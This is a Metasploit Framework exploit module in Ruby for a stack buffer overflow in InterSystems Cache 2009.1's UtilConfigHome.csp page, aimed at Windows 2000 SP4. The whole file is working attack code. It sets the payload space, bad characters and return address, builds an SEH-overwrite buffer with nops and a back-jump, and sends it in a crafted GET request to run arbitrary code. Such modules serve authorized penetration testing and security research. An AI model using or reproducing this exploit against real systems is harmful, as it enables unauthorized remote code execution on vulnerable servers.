Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#   http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = GreatRanking

        # XXX: Needs custom body check HttpFingerprint = { :uri => '/csp/sys/mgr/UtilConfigHome.csp', :body => [ /Cache for Windows/ ] }

        include Msf::Exploit::Remote::HttpClient

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'InterSystems Cache UtilConfigHome.csp Argument Buffer Overflow',

                        'Description'    => %q{

                                        This module exploits a stack buffer overflow in InterSystems Cache 2009.1.

                                By sending a specially crafted GET request, an attacker may be able to execute

                                arbitrary code.

                        },

                        'Author'         => [ 'MC' ],

                        'License'        => MSF_LICENSE,

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'OSVDB', '60549' ],

                                        [ 'BID', '37177' ],

                                ],

                        'DefaultOptions' =>

                                {

                                        'EXITFUNC' => 'thread',

                                },

                        'Privileged'     => true,

                        'Payload'        =>

                                {

                                        'Space'    => 650,

                                        'BadChars' => "\x00\x3a\x26\x3f\x0c\x25\x23\x20\x0a\x0d\x09\x2f\x2b\x2e\x0b\x5c",

                                        'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",

                                },

                        'Platform'       => 'win',

                        'Targets'        =>

                                [

                                        [ 'Windows 2000 SP4 English', { 'Offset' => 710, 'Ret' => 0x6ff2791a } ], # libhttpd.dll 2.2.11.0 / pop ebp | pop ebx | ret

                                ],

                        'DefaultTarget'  => 0,

                        'DisclosureDate' => 'Sep 29 2009')) # Initially...!

                register_options( [ Opt::RPORT(57772) ], self.class )

        end

        def exploit

                # offset to the seh frame.

                sploit =   payload.encoded + rand_text_alpha_upper(target['Offset'] - payload.encoded.length)

                # jmp $+6 | p/p/r

                sploit <<  Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')

                # fall into some nops, jmp back to our final payload.

                sploit <<  make_nops(8) + [0xe9, -700].pack('CV')

                # cause the av!

                sploit <<  rand_text_alpha_upper(payload.encoded.length)

                print_status("Trying target #{target.name}...")

                send_request_raw({

                                'uri'          => '/csp/sys/mgr/UtilConfigHome.csp=' + sploit,

                                'method'       => 'GET',

                        }, 5)

                handler

        end

end